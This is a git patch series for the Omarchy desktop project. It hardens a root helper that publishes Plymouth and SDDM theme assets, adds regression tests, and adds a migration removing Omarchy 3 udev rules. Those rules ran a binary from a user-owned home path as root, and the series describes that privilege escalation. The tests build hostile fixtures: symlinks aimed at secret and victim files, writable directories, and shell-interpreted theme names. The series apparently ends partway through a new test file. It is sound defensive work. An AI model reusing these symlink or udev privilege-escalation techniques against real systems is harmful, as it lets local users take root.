"refresh-plymouth" ]]; then + validate_trusted_directory "$theme_dir/logos" + fi + fi + if (( ${#sddm_assets[@]} )); then + validate_trusted_directory "$sddm_dir" fi publish_asset() { @@ -298,23 +339,23 @@ run_root_transaction() { validate_trusted_directory "$parent" temporary=$(mktemp --tmpdir="$parent" ".$filename.omarchy-new.XXXXXXXX") - cp --reflink=never -- "$source" "$temporary" + install -o 0 -g 0 -m 0644 -- "$source" "$temporary" copied_size=$(stat -c %s -- "$temporary") (( copied_size == source_size )) cmp -s -- "$source" "$temporary" - chown 0:0 -- "$temporary" - chmod 0644 -- "$temporary" sync -f -- "$temporary" mv --no-copy -fT -- "$temporary" "$destination" temporary= } - for asset in "${assets_to_stage[@]}"; do - publish_asset "$plymouth_stage/$asset" "$theme_dir/$asset" - done + if (( ${#plymouth_assets[@]} )); then + for asset in "${plymouth_assets[@]}"; do + publish_asset "$plymouth_stage/$asset" "$theme_dir/$asset" + done + fi - if [[ $mode == "set" ]]; then - for asset in "${sddm_theme_assets[@]}"; do + if (( ${#sddm_assets[@]} )); then + for asset in "${sddm_assets[@]}"; do publish_asset "$sddm_stage/$asset" "$sddm_dir/$asset" done validate_trusted_directory "$sddm_dir" @@ -323,16 +364,18 @@ run_root_transaction() { ' bash "$mode" "$OMARCHY_PATH" "$bg_hex" "$text_hex" "$((64 * 1024 * 1024))" } -if $refresh_default; then - run_root_transaction /dev/null; then + output=$(unshare --user --map-root-user env OMARCHY_PATH="$ROOT" /bin/bash "$ROOT/bin/omarchy-plymouth-set" '#1d2021' '#ebdbb2' "$secret" 2>&1) + status=$? + (( status != 0 )) || fail "omarchy-plymouth-set refuses to run as root" + [[ $output == *"as your user"* && $output == *"not under sudo"* ]] || + fail "the root refusal explains how to invoke the publisher safely" "$output" +else + grep -A2 -Eq '^if \(\( EUID == 0 \)\); then$' "$ROOT/bin/omarchy-plymouth-set" || + fail "omarchy-plymouth-set retains its root-invocation guard" +fi +pass "the logo descriptor can only be opened by an unprivileged caller" + # Style > Unlock picks a theme by name and hands the answer to # omarchy-launch-floating-terminal-with-presentation, which joins its arguments # into a script and runs that with `bash -c`. So the name is shell source @@ -84,16 +110,26 @@ cat >"$stub_dir/omarchy-plymouth-switcher" <<'STUB' printf '%s\n' "$OMARCHY_TEST_UNLOCK_NAME" STUB -# Stands in for the real wrapper, which is a shell-string API: it interpolates -# "$*" into a script and hands that to `bash -c`. The grep below is what keeps -# this stub honest if the wrapper ever stops working that way. -cat >"$stub_dir/omarchy-launch-floating-terminal-with-presentation" <<'STUB' +# Run the real presentation wrapper while replacing only its terminal launcher. +# The launcher stub executes the final `bash -c` locally instead of opening a +# terminal window. +ln -s "$ROOT/bin/omarchy-launch-floating-terminal-with-presentation" "$stub_dir/omarchy-launch-floating-terminal-with-presentation" + +cat >"$stub_dir/omarchy-restart-gum" <<'STUB' #!/bin/bash -exec bash -c "omarchy-show-logo; $*; omarchy-show-done" +: STUB -grep -Fq 'bash -c "$presentation_script"' "$ROOT/bin/omarchy-launch-floating-terminal-with-presentation" || - fail "the presentation wrapper still runs its argument as a shell string, as the stub above assumes" +cat >"$stub_dir/setsid" <<'STUB' +#!/bin/bash +while (( $# >= 3 )); do + if [[ $1 == "bash" && $2 == "-c" ]]; then + exec bash -c "$3" + fi + shift +done +exit 97 +STUB # Records what actually arrived, so a name that survived as data is told apart # from one that arrived split or partly eaten. @@ -203,7 +239,8 @@ cat >"$root_tools/stat" <<'SH' #!/bin/bash last=${!#} if [[ ${1:-} == -c && ${2:-} == %u ]]; then - if [[ -n ${TEST_UNTRUSTED_SOURCE:-} && $last == "$TEST_UNTRUSTED_SOURCE"* ]]; then + if [[ (-n ${TEST_UNTRUSTED_SOURCE:-} && $last == "$TEST_UNTRUSTED_SOURCE"*) || + (-n ${TEST_UNTRUSTED_CONFIGURATION:-} && $last == "$TEST_UNTRUSTED_CONFIGURATION"*) ]]; then printf '1000\n' exit 0 fi @@ -224,6 +261,35 @@ last=${!#} exit 0 SH +cat >"$root_tools/install" <<'SH' +#!/bin/bash +mode= +while (( $# )); do + case "$1" in + -o | -g) + shift 2 + ;; + -m) + mode=$2 + shift 2 + ;; + --) + shift + break + ;; + *) + exit 96 + ;; + esac +done + +(( $# == 2 )) || exit 96 +[[ $mode == "0600" || $mode == "0644" ]] || exit 96 +destination=$2 +[[ $destination == "$TEST_FAKE_ROOT"* || $destination == /tmp/omarchy-plymouth.* ]] || exit 93 +exec /usr/bin/install -m "$mode" -- "$1" "$destination" +SH + cat >"$root_tools/magick" <<'SH' #!/bin/bash source=$1 @@ -267,7 +333,7 @@ setup_run() { printf 'old plymouth %s\n' "$asset" >"$destination" chmod 0600 "$destination" done - for asset in "${sddm_theme_assets[@]}" metadata.desktop theme.conf; do + for asset in "${sddm_default_assets[@]}"; do destination="$sddm/$asset" printf 'old sddm %s\n' "$asset" >"$destination" chmod 0600 "$destination" @@ -287,9 +353,26 @@ setup_run() { ln -s "$legacy_victim" "$sddm/logo.svg" } -run_set_colors() { - local requested_umask="$1" background="$2" text="$3" - shift 3 +setup_fresh_run() { + local asset destination + + setup_run + for asset in "${plymouth_default_assets[@]}"; do + destination="$theme/$asset" + rm -f -- "$destination" + /usr/bin/install -m 0644 -- "$ROOT/default/plymouth/$asset" "$destination" + done + for asset in "${sddm_default_assets[@]}"; do + destination="$sddm/$asset" + rm -f -- "$destination" + /usr/bin/install -m 0644 -- "$ROOT/default/sddm/omarchy/$asset" "$destination" + done + rm -f -- "$sddm/logo.svg" +} + +run_in_fake_root() { + local requested_umask="$1" + shift ( umask "$requested_umask" PATH="$fake_bin:$ROOT/bin:$PATH" \ @@ -301,25 +384,56 @@ run_set_colors() { TEST_OMARCHY_CONF="$omarchy_conf" \ TEST_SUDO_LOG="$sudo_log" \ TEST_LEAK_LOG="$leak_log" \ - "$@" \ - /bin/bash "$ROOT/bin/omarchy-plymouth-set" "$background" "$text" "$test_tmp/logo.png" + "$@" ) } +run_set_colors() { + local requested_umask="$1" background="$2" text="$3" + shift 3 + run_in_fake_root "$requested_umask" "$@" \ + /bin/bash "$ROOT/bin/omarchy-plymouth-set" "$background" "$text" "$test_tmp/logo.png" +} + run_set() { local requested_umask="$1" shift run_set_colors "$requested_umask" '#1d2021' '#ebdbb2' "$@" } +run_refresh_plymouth() { + run_in_fake_root 022 "$@" /bin/bash "$ROOT/bin/omarchy-refresh-plymouth" +} + +run_refresh_sddm() { + run_in_fake_root 022 "$@" /bin/bash "$ROOT/bin/omarchy-refresh-sddm" +} + +run_reset() { + run_in_fake_root 022 "$@" /bin/bash "$ROOT/bin/omarchy-plymouth-reset" +} + assert_no_temporary_files() { local directory="$1" leftovers leftovers=$(find "$directory" -name '.*.omarchy-new.*' -print) [[ -z $leftovers ]] || fail "failed publication cleans up its root-side temporary file" "$leftovers" } +assert_packaged_assets() { + local context=$1 source_dir=$2 destination_dir=$3 + shift 3 + + local asset destination + for asset in "$@"; do + destination="$destination_dir/$asset" + cmp -s "$source_dir/$asset" "$destination" || fail "$context publishes the packaged $asset bytes" + [[ -f $destination && ! -L $destination && $(stat -c %a "$destination") == 644 ]] || + fail "$context publishes $asset as a regular mode-0644 file" + done +} + for requested_umask in 022 027 077; do - setup_run + setup_fresh_run output=$(run_set "$requested_umask" env 2>&1) status=$? (( status == 0 )) || fail "Plymouth publisher succeeds under umask $requested_umask" "$output" @@ -342,20 +456,35 @@ for requested_umask in 022 027 077; do grep -Fq '#1d2021' "$sddm/Main.qml" || fail "SDDM Main.qml receives the selected background under umask $requested_umask" grep -Fq 'Window.SetBackgroundTopColor(0.114, 0.125, 0.129);' "$theme/omarchy.script" || fail "Plymouth script receives the selected background under umask $requested_umask" - [[ $(cat "$plymouth_victim") == 'PLYMOUTH VICTIM' && $(stat -c %a "$plymouth_victim") == 600 ]] || fail "Plymouth destination symlink never changes its victim" - [[ $(cat "$sddm_victim") == 'SDDM VICTIM' && $(stat -c %a "$sddm_victim") == 600 ]] || fail "Main.qml destination symlink never changes its victim" - [[ $(cat "$legacy_victim") == 'LEGACY VICTIM' && $(stat -c %a "$legacy_victim") == 600 ]] || fail "legacy logo.svg removal never changes its victim" - [[ ! -e $sddm/logo.svg && ! -L $sddm/logo.svg ]] || fail "legacy logo.svg is removed" - - [[ $(cat "$theme/logos/oma.png") == 'old plymouth logos/oma.png' && $(stat -c %a "$theme/logos/oma.png") == 600 ]] || fail "normal theme set does not broaden into the refresh-only nested asset" - [[ $(cat "$sddm/metadata.desktop") == 'old sddm metadata.desktop' ]] || fail "normal theme set leaves SDDM metadata unchanged" - [[ $(cat "$sddm/theme.conf") == 'old sddm theme.conf' ]] || fail "normal theme set leaves SDDM theme.conf unchanged" + cmp -s "$ROOT/default/plymouth/logos/oma.png" "$theme/logos/oma.png" || fail "theme set leaves the packaged nested logo unchanged" + cmp -s "$ROOT/default/sddm/omarchy/metadata.desktop" "$sddm/metadata.desktop" || fail "theme set leaves packaged SDDM metadata unchanged" + cmp -s "$ROOT/default/sddm/omarchy/theme.conf" "$sddm/theme.conf" || fail "theme set leaves packaged SDDM configuration unchanged" [[ ! -s $leak_log ]] || fail "no privileged command receives a user-writable staged pathname" "$(cat "$leak_log")" [[ $(stat -c %a "$theme") == 755 && $(stat -c %a "$sddm") == 755 && $(stat -c %a "$theme/logos") == 755 ]] || fail "publication preserves destination directory modes under umask $requested_umask" + grep -Fq 'command plymouth-set-default-theme omarchy' "$sudo_log" || fail "theme set activates the published Plymouth theme" + grep -Fq 'command mkinitcpio -P' "$sudo_log" || fail "theme set rebuilds the initramfs" assert_no_temporary_files "$fake_root" done -pass "every Plymouth and SDDM destination is atomically replaced with mode 0644 across restrictive umasks" +pass "a fresh installation receives complete mode-0644 Plymouth and SDDM theme files across restrictive umasks" + +# An upgraded machine may already contain restrictive modes, destination +# symlinks, and the legacy SDDM logo. Setting a theme must replace only the +# destination entries and must never write through those symlinks. +setup_run +output=$(run_set 022 env 2>&1) +status=$? + +(( status == 0 )) || fail "theme set repairs migrated Plymouth and SDDM destinations" "$output" +[[ -f $theme/omarchy.script && ! -L $theme/omarchy.script ]] || fail "theme set replaces a migrated Plymouth destination symlink" +[[ -f $sddm/Main.qml && ! -L $sddm/Main.qml ]] || fail "theme set replaces a migrated SDDM destination symlink" +[[ $(cat "$plymouth_victim") == 'PLYMOUTH VICTIM' && $(stat -c %a "$plymouth_victim") == 600 ]] || fail "theme set never changes a Plymouth symlink victim" +[[ $(cat "$sddm_victim") == 'SDDM VICTIM' && $(stat -c %a "$sddm_victim") == 600 ]] || fail "theme set never changes an SDDM symlink victim" +[[ $(cat "$legacy_victim") == 'LEGACY VICTIM' && $(stat -c %a "$legacy_victim") == 600 ]] || fail "theme set never changes the legacy logo victim" +[[ ! -e $sddm/logo.svg && ! -L $sddm/logo.svg ]] || fail "theme set removes the legacy SDDM logo" +assert_no_temporary_files "$fake_root" + +pass "theme set repairs migrated destinations without following existing symlinks" # White uses #ffffff behind #000000 text. A direct two-expression sed first # writes the white background and then consumes it as if it were the template's @@ -483,6 +612,29 @@ assert_no_temporary_files "$fake_root" pass "root rejects packaged assets that a desktop process could rewrite" +# A packaged filename may not redirect root to some other readable file. Use +# the explicitly authorized development-source path so its ordinary file-mode +# checks are intentionally skipped and only the leaf symlink/canonical-file +# checks can decide this case. +setup_run +symlink_source_root=$(mktemp -d "$test_tmp/symlink-source.XXXXXXXX") +symlink_source_root=$(realpath -e -- "$symlink_source_root") +mkdir -p "$symlink_source_root/default" +cp -a "$ROOT/default/plymouth" "$ROOT/default/sddm" "$symlink_source_root/default/" +rm -f "$symlink_source_root/default/plymouth/bullet.png" +ln -s "$secret" "$symlink_source_root/default/plymouth/bullet.png" +printf 'export OMARCHY_PATH="%s"\n' "$symlink_source_root" >"$omarchy_conf" +chmod 0644 "$omarchy_conf" +output=$(run_set 022 env OMARCHY_PATH="$symlink_source_root" TEST_UNTRUSTED_SOURCE="$symlink_source_root" 2>&1) +status=$? + +(( status != 0 )) || fail "a symlinked packaged asset is rejected" "$output" +[[ $(cat "$theme/bullet.png") == 'old plymouth bullet.png' ]] || fail "a packaged source symlink leaves the live theme unchanged" +[[ $output == *"refusing to publish"* ]] || fail "a rejected packaged source symlink says why it refused" "$output" +assert_no_temporary_files "$fake_root" + +pass "root never follows a packaged asset symlink" + # A random user-owned OMARCHY_PATH remains untrusted. Only the exact canonical # checkout recorded by root in /etc/omarchy.conf is the supported dev-link # exception; an unrelated or stale authorization must not weaken the check. @@ -523,6 +675,28 @@ status=$? [[ $(cat "$theme/bullet.png") == 'old plymouth bullet.png' ]] || fail "a writable dev-link authorization leaves the live theme unchanged" assert_no_temporary_files "$fake_root" +setup_run +authorization_target="$run_dir/authorization-target" +printf 'export OMARCHY_PATH="%s"\n' "$ROOT" >"$authorization_target" +chmod 0644 "$authorization_target" +ln -s "$authorization_target" "$omarchy_conf" +output=$(run_set 022 env TEST_UNTRUSTED_SOURCE="$ROOT" 2>&1) +status=$? + +(( status != 0 )) || fail "a symlinked dev-link authorization is rejected" +[[ $(cat "$theme/bullet.png") == 'old plymouth bullet.png' ]] || fail "a symlinked dev-link authorization leaves the live theme unchanged" +assert_no_temporary_files "$fake_root" + +setup_run +printf 'export OMARCHY_PATH="%s"\n' "$ROOT" >"$omarchy_conf" +chmod 0644 "$omarchy_conf" +output=$(run_set 022 env TEST_UNTRUSTED_SOURCE="$ROOT" TEST_UNTRUSTED_CONFIGURATION="$omarchy_conf" 2>&1) +status=$? + +(( status != 0 )) || fail "a user-owned dev-link authorization is rejected" +[[ $(cat "$theme/bullet.png") == 'old plymouth bullet.png' ]] || fail "a user-owned dev-link authorization leaves the live theme unchanged" +assert_no_temporary_files "$fake_root" + setup_run printf 'export OMARCHY_PATH="%s"\n' "$ROOT" >"$omarchy_conf" chmod 0644 "$omarchy_conf" @@ -532,7 +706,7 @@ status=$? (( status == 0 )) || fail "the root-authorized development checkout can publish Plymouth assets" "$output" cmp -s "$ROOT/default/plymouth/bullet.png" "$theme/bullet.png" || fail "the authorized development checkout supplies the packaged assets" -pass "only the checkout explicitly authorized by omarchy dev link may be user-owned" +pass "only a regular root-owned authorization may name the exact development checkout" # Root rejects both a symlinked parent and a group/world-writable parent before # it creates a temporary file or touches the live destination. @@ -603,6 +777,25 @@ assert_no_temporary_files "$fake_root" pass "root checks every packaged asset, not only its directory" +# Keep every file root-owned and mode 0644 while making only its containing +# directory writable. Per-file checks cannot close the rename race in that +# state; the packaged source parent-chain walk must reject it. +setup_run +writable_directory_root=$(mktemp -d "$test_tmp/writable-directory-source.XXXXXXXX") +writable_directory_root=$(realpath -e -- "$writable_directory_root") +mkdir -p "$writable_directory_root/default" +cp -a "$ROOT/default/plymouth" "$ROOT/default/sddm" "$writable_directory_root/default/" +chmod 0777 "$writable_directory_root/default/plymouth" +output=$(run_set 022 env OMARCHY_PATH="$writable_directory_root" 2>&1) +status=$? + +(( status != 0 )) || fail "a writable packaged source directory is rejected" "$output" +[[ $(cat "$theme/bullet.png") == 'old plymouth bullet.png' ]] || fail "a writable packaged directory leaves the live theme unchanged" +[[ $output == *"refusing to publish"* ]] || fail "a rejected packaged directory says why it refused" "$output" +assert_no_temporary_files "$fake_root" + +pass "root validates the packaged source parent chain before copying" + # Ownership is not the only way a packaged asset stays rewritable: a group- or # world-writable mode does it too. Stage a tree the shim reports as root-owned # so only the real mode can decide, then loosen one asset. @@ -638,34 +831,138 @@ assert_no_temporary_files "$fake_root" pass "an empty logo cannot be published" +# Bound the descriptor read as well as the final destination. A sparse file +# makes the real 64 MiB + 1 byte boundary deterministic without storing a +# large fixture in the repository. +setup_run +cp -- "$test_tmp/logo.png" "$test_tmp/logo.png.keep" +truncate -s "$((64 * 1024 * 1024 + 1))" "$test_tmp/logo.png" +output=$(run_set 022 env 2>&1) +status=$? +mv -f -- "$test_tmp/logo.png.keep" "$test_tmp/logo.png" + +(( status != 0 )) || fail "an oversized logo is rejected" "$output" +[[ $(cat "$theme/logo.png") == 'old plymouth logo.png' ]] || fail "an oversized logo leaves the live logo unchanged" +assert_no_temporary_files "$fake_root" + +pass "a logo larger than the publication bound cannot be published" + # Refresh uses the same publisher but its explicit contract includes the # packaged nested logos/oma.png asset. It must not touch the SDDM theme. setup_run -output=$( - PATH="$fake_bin:$ROOT/bin:$PATH" \ - TMPDIR="$stages" \ - OMARCHY_PATH="$ROOT" \ - TEST_FAKE_ROOT="$fake_root" \ - TEST_STAGES="$stages" \ - TEST_ROOT_TOOLS="$root_tools" \ - TEST_OMARCHY_CONF="$omarchy_conf" \ - TEST_SUDO_LOG="$sudo_log" \ - TEST_LEAK_LOG="$leak_log" \ - /bin/bash "$ROOT/bin/omarchy-refresh-plymouth" 2>&1 -) +output=$(run_refresh_plymouth 2>&1) status=$? (( status == 0 )) || fail "Plymouth refresh succeeds through the safe publisher" "$output" -for asset in "${plymouth_default_assets[@]}"; do - destination="$theme/$asset" - cmp -s "$ROOT/default/plymouth/$asset" "$destination" || fail "refresh publishes the packaged $asset bytes" - [[ -f $destination && ! -L $destination && $(stat -c %a "$destination") == 644 ]] || fail "refresh publishes $asset as a regular mode-0644 file" -done +assert_packaged_assets "Plymouth refresh" "$ROOT/default/plymouth" "$theme" "${plymouth_default_assets[@]}" [[ -L $sddm/Main.qml && $(cat "$sddm_victim") == 'SDDM VICTIM' ]] || fail "Plymouth refresh leaves SDDM unchanged" ! grep -Fq 'transaction /usr/share/sddm/' "$sudo_log" || fail "Plymouth refresh does not publish SDDM assets" [[ ! -s $leak_log ]] || fail "refresh never gives root a user-writable source pathname" "$(cat "$leak_log")" - -grep -Fq 'sudo /bin/bash -c' "$ROOT/bin/omarchy-plymouth-set" || fail "publisher invokes Bash by its trusted absolute path" -grep -Fq 'PATH=/usr/bin:/bin' "$ROOT/bin/omarchy-plymouth-set" || fail "root helper resets PATH before resolving utilities" +grep -Fq 'command plymouth-set-default-theme omarchy' "$sudo_log" || fail "Plymouth refresh activates the restored theme" +grep -Fq 'command mkinitcpio -P' "$sudo_log" || fail "Plymouth refresh rebuilds the initramfs" pass "refresh safely publishes its complete fixed asset set, including logos/oma.png" + +# SDDM refresh has the same fixed-file contract but must leave Plymouth and the +# boot image alone. It also replaces legacy destination symlinks without +# changing their victims. +setup_run +output=$(run_refresh_sddm 2>&1) +status=$? +(( status == 0 )) || fail "SDDM refresh succeeds through the safe publisher" "$output" + +assert_packaged_assets "SDDM refresh" "$ROOT/default/sddm/omarchy" "$sddm" "${sddm_default_assets[@]}" +[[ -L $theme/omarchy.script && $(cat "$plymouth_victim") == 'PLYMOUTH VICTIM' ]] || fail "SDDM refresh leaves Plymouth unchanged" +[[ $(cat "$sddm_victim") == 'SDDM VICTIM' && $(stat -c %a "$sddm_victim") == 600 ]] || fail "SDDM refresh never changes a destination symlink victim" +[[ $(cat "$legacy_victim") == 'LEGACY VICTIM' && $(stat -c %a "$legacy_victim") == 600 ]] || fail "SDDM refresh never changes the legacy logo victim" +[[ ! -e $sddm/logo.svg && ! -L $sddm/logo.svg ]] || fail "SDDM refresh removes the legacy logo.svg" +! grep -Fq 'command plymouth-set-default-theme' "$sudo_log" || fail "SDDM refresh does not activate Plymouth" +! grep -Fq 'command mkinitcpio' "$sudo_log" || fail "SDDM refresh does not rebuild the initramfs" +[[ ! -s $leak_log ]] || fail "SDDM refresh never gives root a user-writable source pathname" "$(cat "$leak_log")" + +pass "SDDM refresh safely restores its complete packaged asset set without rebuilding Plymouth" + +# A fresh package installation already contains the complete default file set. +# Reset must be safe and idempotent in that ordinary state. +setup_fresh_run +output=$(run_reset 2>&1) +status=$? +(( status == 0 )) || fail "reset succeeds on a fresh installation" "$output" + +assert_packaged_assets "fresh reset Plymouth" "$ROOT/default/plymouth" "$theme" "${plymouth_default_assets[@]}" +assert_packaged_assets "fresh reset SDDM" "$ROOT/default/sddm/omarchy" "$sddm" "${sddm_default_assets[@]}" +grep -Fq 'command plymouth-set-default-theme omarchy' "$sudo_log" || fail "fresh reset activates the packaged Plymouth theme" +grep -Fq 'command mkinitcpio -P' "$sudo_log" || fail "fresh reset rebuilds the initramfs" +assert_no_temporary_files "$fake_root" + +pass "reset is safe and idempotent on a fresh package installation" + +# Exercise an existing hostile state: destination symlinks stand in for an +# upgraded machine that may already contain artifacts planted through the old +# paths. Each refresh must replace its own entries without following them. +setup_run +output=$(run_reset 2>&1) +status=$? +(( status == 0 )) || fail "combined Plymouth and SDDM reset succeeds" "$output" + +assert_packaged_assets "migrated reset Plymouth" "$ROOT/default/plymouth" "$theme" "${plymouth_default_assets[@]}" +assert_packaged_assets "migrated reset SDDM" "$ROOT/default/sddm/omarchy" "$sddm" "${sddm_default_assets[@]}" +[[ $(cat "$plymouth_victim") == 'PLYMOUTH VICTIM' && $(stat -c %a "$plymouth_victim") == 600 ]] || fail "reset never changes a Plymouth destination symlink victim" +[[ $(cat "$sddm_victim") == 'SDDM VICTIM' && $(stat -c %a "$sddm_victim") == 600 ]] || fail "reset never changes an SDDM destination symlink victim" +[[ $(cat "$legacy_victim") == 'LEGACY VICTIM' && $(stat -c %a "$legacy_victim") == 600 ]] || fail "reset never changes the legacy logo victim" +[[ ! -e $sddm/logo.svg && ! -L $sddm/logo.svg ]] || fail "reset removes the legacy logo.svg" +grep -Fq 'command plymouth-set-default-theme omarchy' "$sudo_log" || fail "reset activates the restored Plymouth theme" +grep -Fq 'command mkinitcpio -P' "$sudo_log" || fail "reset rebuilds the initramfs" +[[ ! -s $leak_log ]] || fail "reset never gives root a user-writable source pathname" "$(cat "$leak_log")" + +pass "reset safely repairs a migrated Plymouth and SDDM installation" + +# A damaged installation may retain its package-owned directories while some +# destination files are missing. Reset must recreate every allowlisted leaf. +setup_run +for asset in "${plymouth_default_assets[@]}"; do + rm -f -- "$theme/$asset" +done +for asset in "${sddm_default_assets[@]}"; do + rm -f -- "$sddm/$asset" +done +rm -f -- "$sddm/logo.svg" +output=$(run_reset 2>&1) +status=$? +(( status == 0 )) || fail "reset repairs missing Plymouth and SDDM destinations" "$output" +assert_packaged_assets "missing-file reset Plymouth" "$ROOT/default/plymouth" "$theme" "${plymouth_default_assets[@]}" +assert_packaged_assets "missing-file reset SDDM" "$ROOT/default/sddm/omarchy" "$sddm" "${sddm_default_assets[@]}" + +pass "reset recreates missing files in package-owned destination trees" + +# The two refreshes are independently hardened. If Plymouth succeeds and SDDM +# then refuses its unsafe destination, the completed Plymouth refresh remains +# valid while SDDM and its symlink victims remain unchanged. +setup_run +chmod 0777 "$sddm" +output=$(run_reset 2>&1) +status=$? + +(( status != 0 )) || fail "reset rejects an unsafe SDDM destination" "$output" +assert_packaged_assets "Plymouth before SDDM refusal" "$ROOT/default/plymouth" "$theme" "${plymouth_default_assets[@]}" +[[ $(cat "$plymouth_victim") == 'PLYMOUTH VICTIM' ]] || fail "the successful Plymouth refresh never changes its old symlink victim" +[[ -L $sddm/Main.qml && $(cat "$sddm_victim") == 'SDDM VICTIM' ]] || fail "a rejected reset leaves SDDM unchanged" +[[ $output == *"refusing to publish"* ]] || fail "an unsafe reset destination says why it refused" "$output" +assert_no_temporary_files "$fake_root" + +pass "an SDDM refusal cannot make either refresh follow an unsafe destination" + +# A packaged source that fails the root trust checks must stop the combined +# reset; it cannot fall through into a second legacy SDDM copy. +setup_run +output=$(run_reset env TEST_UNTRUSTED_SOURCE="$ROOT" 2>&1) +status=$? + +(( status != 0 )) || fail "reset rejects an untrusted packaged source" "$output" +[[ $(cat "$theme/bullet.png") == 'old plymouth bullet.png' ]] || fail "an untrusted reset source leaves Plymouth unchanged" +[[ -L $sddm/Main.qml && $(cat "$sddm_victim") == 'SDDM VICTIM' ]] || fail "an untrusted reset source leaves SDDM unchanged" +[[ $output == *"refusing to publish"* ]] || fail "an untrusted reset source says why it refused" "$output" +[[ $(grep -c '^root transaction$' "$sudo_log") == 1 ]] || fail "reset stops before SDDM when Plymouth refuses" +assert_no_temporary_files "$fake_root" + +pass "a reset refusal cannot fall through to an unhardened SDDM copy" From a75551de4e3b369ccf63be1f9e4b9c636002a4d4 Mon Sep 17 00:00:00 2001 From: acrogenesis Date: Sat, 29 Aug 2026 11:40:17 -0600 Subject: [PATCH 139/336] Allow a migration to clear a pre-4 layout that is a security defect The upgrade command only runs on a machine still crossing 3 to 4, so a vulnerable file an old installer wrote never gets swept on an install that crossed already. It ends by running omarchy-migrate, so a single migration reaches both populations. --- agents/skills/migrations.md | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/agents/skills/migrations.md b/agents/skills/migrations.md index bb6cf2b8..603a491d 100644 --- a/agents/skills/migrations.md +++ b/agents/skills/migrations.md @@ -165,3 +165,14 @@ omarchy-migrate Omarchy 4.0 is upgraded through `bin/omarchy-upgrade-to-quattro`, not through the normal migration runner. Do not add compatibility migrations for old installer layouts; put pre-4 package-layout transition work in the upgrade command instead. + +Clearing a pre-4 layout that is a security defect is the exception, and belongs in +a migration. The upgrade command only runs on a machine still making the 3 to 4 +crossing, so anything put there never reaches an install that crossed already — +and a file an old installer wrote with a vulnerability in it is still sitting on +those machines. The upgrade command finishes by running `omarchy-migrate` +(`run_post_upgrade_migrations`), so one migration reaches both populations; +a copy in the upgrade command would only be a second copy of the same predicate +to keep correct. Such a migration must name the defect it clears and match the +state the old installer actually produced, so a file the user wrote themselves is +left alone. From cd519283fec9f9c92b04abc8a9c444be84363487 Mon Sep 17 00:00:00 2001 From: acrogenesis Date: Sat, 29 Aug 2026 11:40:25 -0600 Subject: [PATCH 140/336] Remove Omarchy 3 power udev rules that run a command out of a user home Omarchy 3 wrote 99-power-profile.rules and 99-wifi-powersave.rules with an unquoted heredoc, baking the installing user's home into a rule udev runs as root. That path resolves through ~/.local/share/omarchy, a symlink the unprivileged user owns, so replacing it and provoking a power_supply event runs their code as root. HEAD points the rules at /usr/bin under new names, but the one-shot cleanup for the old filenames was dropped, leaving the file on every install that came up through the 3.x line. Remove a legacy file only when an active RUN+= really does run that filename's binary out of a home directory, so a rule of the same name a user wrote themselves stays, comments and all. --- migrations/1787946619.sh | 98 ++++++++ .../legacy-power-udev-rules-migration-test.sh | 229 ++++++++++++++++++ 2 files changed, 327 insertions(+) create mode 100644 migrations/1787946619.sh create mode 100755 test/shell.d/legacy-power-udev-rules-migration-test.sh diff --git a/migrations/1787946619.sh b/migrations/1787946619.sh new file mode 100644 index 00000000..4344503a --- /dev/null +++ b/migrations/1787946619.sh @@ -0,0 +1,98 @@ +echo "Remove Omarchy 3 power udev rules that run a command out of a user home" + +rules_dir="${OMARCHY_UDEV_RULES_DIR:-/etc/udev/rules.d}" + +as_root() { + if (( EUID == 0 )); then + "$@" + else + sudo "$@" + fi +} + +# Omarchy 3 generated these two rules with an unquoted heredoc, so the installing +# user's $HOME was expanded and the file on disk names +# /home//.local/share/omarchy/bin/. udev runs RUN+= as root, and +# ~/.local/share/omarchy is a symlink that same unprivileged user owns: replacing +# it with a tree of their own and provoking a power_supply event runs their code +# as root. Quattro ships the rules as 99-omarchy-*.rules under /usr/bin, but the +# one-shot migration that swept the old filenames was itself dropped, so an +# install that came up through the 3.x line keeps the old file until this +# migration removes it. +# +# Pre-4 layout work normally belongs in bin/omarchy-upgrade-to-quattro, but that +# command only runs on a machine still making the crossing, so an install that +# crossed already would never see it. The upgrade command ends by running +# omarchy-migrate, so this covers the installs still to upgrade as well. +# +# Only remove a file that is actually one of those. A comment is inert to udev, +# so the match keys on an active RUN+= whose command really is the legacy path +# under a home directory for that filename's binary. A rule of the same name that +# a user wrote themselves survives, including one that merely mentions the legacy +# path in a comment, and so does a legacy file already repointed at /usr/bin. +rule_runs_from_home() { + local file="$1" binary="$2" + local pattern="^(/home/[^/]+|/root)/\\.local/share/omarchy/bin/$binary\$" + local line logical="" rest command word + local -a words + + while IFS= read -r line || [[ -n $line ]]; do + # udev tests for a comment before it joins continuations, and skipping one + # does not end a continuation already under way. Both halves verified with + # `udevadm verify`: "# disabled \" followed by a bogus key reports the error + # on line 2, so a comment's own trailing backslash swallows nothing, while + # 'SUBSYSTEM=="power_supply" \' + "# c" + ', RUN+="..."' reports its style + # warning on line 1, so the rule spans the comment. Testing the comment after + # the join would hide a live rule; clearing the pending line here would hide + # one just as well. + if [[ $line =~ ^[[:space:]]*# ]]; then + continue + fi + + # A trailing backslash continues the rule on the next line. + if [[ $line == *\\ ]]; then + logical+=${line%\\} + continue + fi + + rest=$logical$line + logical="" + + while [[ $rest == *'RUN+="'* ]]; do + rest=${rest#*'RUN+="'} + command=${rest%%'"'*} + rest=${rest#*'"'} + + # The legacy rules put the binary first (wifi power save) or last, after a + # systemd-run invocation (power profile), and some variants passed it an + # argument. Compare whole words so no substring stands in for the path. + read -ra words <<<"$command" + for word in "${words[@]}"; do + if [[ $word =~ $pattern || $word == "$HOME/.local/share/omarchy/bin/$binary" ]]; then + return 0 + fi + done + done + done <"$file" + + return 1 +} + +removed=0 + +for legacy_rule in "99-power-profile.rules:omarchy-powerprofiles-set" "99-wifi-powersave.rules:omarchy-wifi-powersave"; do + rule_file="$rules_dir/${legacy_rule%%:*}" + + if [[ -f $rule_file ]] && rule_runs_from_home "$rule_file" "${legacy_rule##*:}"; then + as_root rm -f "$rule_file" + removed=1 + fi +done + +if (( removed )); then + # Drop the rule from the running udevd too; until it reloads, the rule that was + # just deleted still fires on the next power_supply event. Best effort the way + # install/post-install/udev.sh is: a machine with no udevd to talk to has + # already had the file removed, and the next boot reads the directory fresh. + as_root udevadm control --reload 2>/dev/null || true +fi diff --git a/test/shell.d/legacy-power-udev-rules-migration-test.sh b/test/shell.d/legacy-power-udev-rules-migration-test.sh new file mode 100755 index 00000000..8a092abe --- /dev/null +++ b/test/shell.d/legacy-power-udev-rules-migration-test.sh @@ -0,0 